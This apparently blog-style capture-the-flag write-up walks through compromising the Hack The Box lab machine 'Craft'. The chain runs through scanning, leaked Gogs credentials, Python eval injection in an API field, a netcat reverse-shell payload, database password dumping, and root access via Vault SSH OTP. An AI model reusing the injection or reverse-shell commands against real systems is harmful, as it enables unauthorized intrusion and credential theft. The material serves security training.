Posts Craft
Post
Cancel

Craft

Enumeration

Masscan + Nmap

1
2
3
4
5
6
7
8
$ masscan -p1-65535,U:1-65535 IP --rate=10000 -e tun0 | tee masscan.out
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-07-12 17:00:33 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 6022/tcp on 10.10.10.110
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110

Parse those ports to nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports IP -oN nmap-fullscan.out
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
| ssh-hostkey:
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.91%I=7%D=7/12%Time=60EC759D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.00 seconds

Added craft.htb to /etc/hosts.

Foothold

craft.htb

Contains not much, but two buttons redirecting to api.craft.htb and gogs.craft.htb. Added them to /etc/hosts as well. /assets/img/Posts/Craft/craft-1.png

gogs.craft.htb

There is a repository at /Craft/craft-api named craft-api which I downloaded. /assets/img/Posts/Craft/craft-2.png

eval in brew

craft_api/api/brew/endpoints has a commit named “Add fix for bogus ABV values”

1
2
3
4
5
6
7
8
9
10
11
12
13
    @auth.auth_required
    @api.expect(beer_entry)
    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']):
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

/Craft/craft-api/issues/2 mentions why the eval function was included, they didn’t want values above than 1.0 so they added another commit which uses eval function to check if the value is below 1.0

1
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

But we don’t have an authorization token, and that can only be created with /auth/login api in api.craft.htb with some valid credentials.

Cleanup test commit contains creds

Creds: dinesh:4aUh0A8PbVJxgd /assets/img/Posts/Craft/craft-3.png

1
2
-response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login',  auth=('', ''), verify=False)

api.craft.htb

/auth/login - Create an authentication token provided valid username and password

1
2
curl -X GET "https://dinesh:4aUh0A8PbVJxgd@api.craft.htb/api/auth/login" -H  "accept: application/json" -k
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk3NDMwfQ.D2ooUakzD-ZPAZXa-wKPpKfxJfqBrv3cDgA32SNSm4g"}

/auth/check - Checks validity of an authorization token (Also the header X-Craft-API-Token is taken from test.py)

1
2
curl -X GET "https://api.craft.htb/api/auth/check" -H  "accept: application/json" -H "X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk3ODY0fQ.TjJVzsdRPWvTyZMWrQ0GmO9Q0FaPGZ8RVOoDiuW0XGc" -k
{"message":"Token is valid!"}

Getting docker shell with brew eval

Code from test.py tries to make a sample brew with ABV values so I added the valid credentials in test.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Running test.py:

1
2
3
4
5
6
7
8
$ python test.py 2>/dev/null
{"message":"Token is valid!"}

Create bogus ABV brew
"ABV must be a decimal value less than 1.0"

Create real ABV brew
null

Testing to bypass python eval function:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import sys
import subprocess

abv = sys.argv[1]
if eval('%s > 1' % abv):
	print "ABV must be a decimal value less than 1.0"
else:
	print "Successfull"
1
2
3
$ python temp.py "__import__('os').system('whoami')"
root
Successfull

Modify test.py with the new ABV values, which is:

1
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 4444 >/tmp/f")'

Running test.py:

1
2
3
4
5
$ python test.py 2>/dev/null
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNjI2MTk5MjcxfQ.uIy4vpjs_NAvPdSiaf2jLe-7FHAcEvnbGs7rLx9zVUk
{"message":"Token is valid!"}

Create malicious ABV brew

and I got a shell.

1
2
3
4
5
rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.110 44791
/bin/sh: can't access tty; job control turned off
/opt/app # 

settings.py contains valid MySQL credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

netstat output says MySQL is running on port 44563:

1
2
3
4
5
6
netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.11:44563        0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      1/python
udp        0      0 127.0.0.11:40244        0.0.0.0:*                           -

There’s a dbtest.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

Running it gives:

1
2
python dbtest.py
{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}

Use sql = "show tables;" it gives brew and user as a table and change fetchone() to fetchall(). Use sql = "SELECT * from user;"

1
2
python dbtest.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Getting user shell as gilfoyle

Creds from MySQL database can pass login in gogs.craft.htb and we’ve a repo called craft-infra which has a .ssh folder. /assets/img/Posts/Craft/craft-4.png Provided password for gilfoyle as passphrase for id_rsa too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ssh -i id_rsa gilfoyle@craft.htb


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Enter passphrase for key 'id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 12:52:17 2021 from 10.10.14.11
gilfoyle@craft:~$

Privesc

gogs.craft.htb contains a vault folder with a secret.sh /assets/img/Posts/Craft/craft-5.png Which mentions enabling secrets for ssh,writes key-type as otp and user as root at ssh/roles/root_otp Also home folder of gilfoyle contains a .vault-token file with a token.

“Vault - Manage Secrets and Protect Sensitive Data Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API.”

Vault also has a ssh option, and it generates OTP for the session as a password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gilfoyle@craft:/$ vault ssh -mode=otp  root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 79c5ebe7-8c2b-b4cc-7962-3186e0420c4e


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 12:58:41 2021 from ::1
root@craft:~#
This post is licensed under CC BY 4.0 by the author.